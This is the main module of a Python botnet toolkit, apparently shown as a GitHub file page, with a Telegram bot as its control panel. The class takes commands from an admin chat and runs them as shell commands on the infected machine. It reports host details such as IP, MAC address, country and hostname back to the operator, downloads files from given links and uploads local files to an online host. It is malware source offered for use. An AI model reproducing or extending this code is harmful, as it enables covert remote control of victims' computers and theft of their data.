-
Notifications
You must be signed in to change notification settings - Fork 71
/
pybotnet.py
120 lines (96 loc) · 4.02 KB
/
pybotnet.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# import pybotnet modules
from . import util
from . import scripts
from . import settings
# import built-in & third-party modules
import logging
import re
class PyBotNet:
'''
A module for building botnets with Python and Telegram control panel\n
'''
def __init__(
self,
TELEGRAM_TOKEN,
ADMIN_CHAT_ID,
show_log=False,
send_system_data=True,
is_shell=True
):
self.TELEGRAM_TOKEN = TELEGRAM_TOKEN
self.ADMIN_CHAT_ID = ADMIN_CHAT_ID
self.show_log = show_log # show logs
self.send_system_data = send_system_data # send system info in message
self.is_shell = is_shell
self.previous_update_id = [0]
self.start_time = util.get_current_epoc_time()
# logging:
if self.show_log:
# show all log's
self.log_level = logging.INFO
else:
# off all log's
self.log_level = 100
self.my_logger = logging
self.my_logger.basicConfig(level=self.log_level)
self.logger = self.my_logger.getLogger('PyBotNet')
def __str__(self) -> str:
return settings.pybotnet_info
def pybotnet_up_time(self) -> int:
return int(util.get_current_epoc_time() - self.start_time)
def send_message_by_third_party_proxy(self, message):
'''Send messages by api url and third party proxy to adimn'''
if self.send_system_data:
message = f'{message} \n\n {util.get_short_system_info()}'
return util.send_message_by_third_party_proxy(message, self.TELEGRAM_TOKEN, self.ADMIN_CHAT_ID, self.logger)
def get_last_command_by_third_party_proxy(self):
'''return last admin message or False'''
#TODO : it is better to dont run this function every time when running.
return util.get_last_admin_command_by_third_party_proxy(
self.ADMIN_CHAT_ID, self.TELEGRAM_TOKEN,
self.previous_update_id, self.logger)
def get_and_execute_scripts_by_third_party_proxy(self):
'''
Automatically takes the command from the telegram
and checks whether the command is in the list of commands or not \n
Then run it
'''
self.command = self.get_last_command_by_third_party_proxy()
if self.command:
if scripts.is_command(self.command):
self.send_message_by_third_party_proxy(
f'command received: \n{self.command}')
self.output = scripts.execute_scripts(
self.command, self.pybotnet_up_time(), self.is_shell,
self.ADMIN_CHAT_ID, self.TELEGRAM_TOKEN,
self.previous_update_id, self.logger)
if self.output:
self.send_message_by_third_party_proxy(
f'output: \n{self.output}')
else:
self.logger.info('invalid command')
else:
self.logger.info('None command')
def get_system_info(self) -> str:
'''
return system info: \n
operating system ,mac addres ,global ip, \n
country ,pybotnet up time ,local ip,\n
Hostname ,current route ,pid, \n
...more
'''
return scripts.get_info(self.pybotnet_up_time(), self.logger)
def run_command_in_system(self, command: str) -> str:
'''run system command in console and return data'''
return scripts.execute_cmd(command, self.is_shell, self.logger)
def run_ls(self, path: str) -> str:
'''return list of directory or files'''
return scripts.ls(path)
def download_file(self, download_link: str, file_name: str = False):
if not file_name:
file_name = re.findall(r'.*/(.*)$', download_link)
file_name = (file_name[0])
return scripts.download_manager(download_link, file_name)
def upload_file(self, file_route: str):
'''upload file to a online host , return link and other data'''
return scripts.upload_manager(file_route, self.logger)